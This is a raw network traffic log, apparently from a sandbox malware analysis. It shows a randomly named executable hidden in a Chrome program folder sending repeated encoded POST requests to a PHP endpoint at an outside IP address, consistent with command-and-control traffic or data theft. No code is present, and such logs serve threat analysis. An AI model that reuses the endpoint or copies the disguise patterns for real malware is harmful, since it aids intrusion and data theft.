Dec 16, 2024 13:13:32.135742903 CET	1096	OUT	Data Raw: 54 54 59 57 5f 5b 54 55 58 59 51 57 59 5e 54 5c 59 58 59 42 56 5c 5a 5a 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TTYW_[TUXYQWY^T\YXYBV\ZZT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y""1:94%!=&<R#>5X';74$#<%+'?C%W?=%G!"Z*6
Dec 16, 2024 13:13:33.003139019 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:33.237984896 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49889	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:33.489113092 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1092 Expect: 100-continue
Dec 16, 2024 13:13:33.838979006 CET	1092	OUT	Data Raw: 51 55 5c 57 5f 59 54 58 58 59 51 57 59 5a 54 5c 59 58 59 45 56 5a 5a 54 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QU\W_YTXXYQWYZT\YXYEVZZTT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"&#5(%'".$^?)0"1Q(#@&W=%G!"Z6
Dec 16, 2024 13:13:34.718152046 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:34.949800968 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49893	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:35.192589045 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:35.541975021 CET	1096	OUT	Data Raw: 54 54 59 56 5a 58 51 5d 58 59 51 57 59 5f 54 5b 59 54 59 42 56 51 5a 58 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TTYVZXQ]XYQWY_T[YTYBVQZXT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=^!2-^4%[>&/">=[0;($#"/)$/21#),%G!"Z*2
Dec 16, 2024 13:13:36.438772917 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:36.670656919 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49898	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:36.911345005 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:37.260935068 CET	1096	OUT	Data Raw: 51 54 5c 53 5f 57 54 55 58 59 51 57 59 5b 54 50 59 58 59 40 56 5a 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QT\S_WTUXYQWY[TPYXY@VZZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!>6X&9_ &%V!-"0#<6/-U(41"?<%G!"Z"
Dec 16, 2024 13:13:38.143557072 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49904	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:38.210585117 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:38.557655096 CET	1812	OUT	Data Raw: 54 54 5c 50 5a 5a 51 5d 58 59 51 57 59 53 54 50 59 5a 59 46 56 5d 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TT\PZZQ]XYQWYSTPYZYFV]ZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!\=&&)- %9Y>%(!&$+ +Y!-Q?;C2,T)%G!"Z
Dec 16, 2024 13:13:39.449628115 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:39.682486057 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 20 08 36 2a 21 06 25 2e 24 0e 30 00 31 04 24 16 06 1b 2a 2d 3f 04 2a 07 24 07 29 3f 3b 59 33 3f 06 00 29 3e 21 51 28 11 0e 5e 3e 31 2a 58 02 12 25 05 3e 54 23 54 2f 2d 2a 53 3e 04 35 09 34 06 3b 59 25 3d 28 0a 31 03 2a 03 37 3a 2d 11 28 2a 23 0f 2a 2c 26 5d 3e 3d 33 59 3e 3e 21 50 08 11 26 0a 3f 05 33 56 29 0a 37 5b 20 20 28 17 27 29 33 56 27 55 34 16 24 2f 3f 5f 3e 31 3f 58 3e 3d 3e 59 2e 17 22 5b 22 21 3e 09 2b 28 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98 6!%.$01$-?$)?;Y3?)>!Q(^>1X%>T#T/-S>54;Y%=(17:-(#,&]>=3Y>>!P&?3V)7[ (')3V'U4$/?_>1?X>=>Y."["!>+(.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49905	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:38.333071947 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:38.682828903 CET	1096	OUT	Data Raw: 54 55 59 5d 5a 5b 54 5f 58 59 51 57 59 5f 54 51 59 5f 59 41 56 5b 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TUY]Z[T_XYQWY_TQY_YAV[ZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=86&%_#Z(5$R5:0++V>/[":+B'23=%G!"Z2
Dec 16, 2024 13:13:39.567697048 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:39.802666903 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49910	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:40.051620960 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:40.401338100 CET	1096	OUT	Data Raw: 54 5f 59 50 5f 5f 54 58 58 59 51 57 59 5e 54 5e 59 58 59 43 56 58 5a 5f 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: T_YP__TXXYQWY^T^YXYCVXZ_T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"%_9[7=_5>0?T>!)4A%S<%G!"Z*6
Dec 16, 2024 13:13:41.276489973 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:41.543138981 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49912	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:41.787797928 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1092 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:42.135802031 CET	1092	OUT	Data Raw: 54 56 59 54 5a 5b 54 5b 58 59 51 57 59 5a 54 50 59 55 59 40 56 5f 5a 59 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TVYTZ[T[XYQWYZTPYUY@V_ZYT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"81%9=^76#55X38+U)Y5.)7$1!=%G!"Z
Dec 16, 2024 13:13:43.024056911 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:43.258444071 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49918	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:43.507059097 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:43.854512930 CET	1096	OUT	Data Raw: 54 51 5c 51 5f 5a 54 55 58 59 51 57 59 5c 54 51 59 5a 59 45 56 5b 5a 58 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TQ\Q_ZTUXYQWY\TQYZYEV[ZXT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!2X&& %(% "=$(#P"<,2,T+<%G!"Z*>
Dec 16, 2024 13:13:44.739794970 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49922	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:44.819818974 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:45.167037964 CET	1812	OUT	Data Raw: 54 56 59 53 5f 5e 54 54 58 59 51 57 59 5e 54 58 59 58 59 45 56 59 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TVYS_^TTXYQWY^TXYXYEVYZ\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y")8=2_-7)Y=64S5>%;?>6,=V(B;B228><%G!"Z*6
Dec 16, 2024 13:13:46.065934896 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:46.302016973 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 23 51 21 5c 3e 58 26 3d 3b 1d 24 3e 03 05 27 2b 3f 42 2b 3e 3c 5f 3e 3e 3b 19 3d 2c 2b 5b 30 11 3b 15 3d 00 2d 57 2b 06 23 06 2a 21 2a 58 02 12 26 11 29 31 2b 56 2f 3d 36 54 3e 3e 26 1d 34 01 3f 59 25 3d 0d 1b 32 3a 07 5d 23 00 3a 0f 28 5f 20 53 3e 5a 35 00 2a 13 24 03 2a 04 21 50 08 11 26 0b 3c 12 06 0d 3d 0d 3b 5a 34 0a 3c 5a 27 2a 30 0b 24 33 0d 0d 31 2f 34 01 3d 32 11 59 29 10 22 10 2e 29 08 5f 21 32 39 1a 3e 28 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98#Q!\>X&=;$>'+?B+><_>>;=,+[0;=-W+#!X&)1+V/=6T>>&4?Y%=2:]#:(_ S>Z5$!P&<=;Z4<Z'*0$31/4=2Y)".)_!29>(.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49923	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:44.991380930 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:45.338947058 CET	1096	OUT	Data Raw: 54 51 59 56 5f 5a 51 5f 58 59 51 57 59 5d 54 58 59 55 59 41 56 58 5a 58 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TQYV_ZQ_XYQWY]TXYUYAVXZXT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!=81#1>&4R5:'+('/["/")7$&0%G!"Z
Dec 16, 2024 13:13:46.220105886 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:46.454420090 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49929	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:46.691863060 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1088 Expect: 100-continue
Dec 16, 2024 13:13:47.041958094 CET	1088	OUT	Data Raw: 51 54 59 56 5f 57 51 5d 58 59 51 57 59 5a 54 58 59 5d 59 48 56 58 5a 54 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QTYV_WQ]XYQWYZTXY]YHVXZTT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"+(6Y&.#"=+!-![0+V),!-U+$'C1"8+,%G!"Z"
Dec 16, 2024 13:13:47.928775072 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:48.166573048 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49932	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:48.416660070 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:48.760694981 CET	1096	OUT	Data Raw: 51 52 59 5c 5f 5e 54 54 58 59 51 57 59 52 54 5e 59 55 59 45 56 58 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QRY\_^TTXYQWYRT^YUYEVXZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y";2%9"#S9^=0U5%+'U+"?-+'2,V)%G!"Z
Dec 16, 2024 13:13:49.670149088 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:49.906711102 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49938	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:50.146110058 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:50.495342016 CET	1096	OUT	Data Raw: 54 56 59 50 5f 56 54 5c 58 59 51 57 59 5c 54 5c 59 5c 59 49 56 5c 5a 5e 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TVYP_VT\XYQWY\T\Y\YIV\Z^T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=&29"!&:(55=_%(#V=4X"($,223=%G!"Z*>
Dec 16, 2024 13:13:51.371171951 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49942	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:51.429384947 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
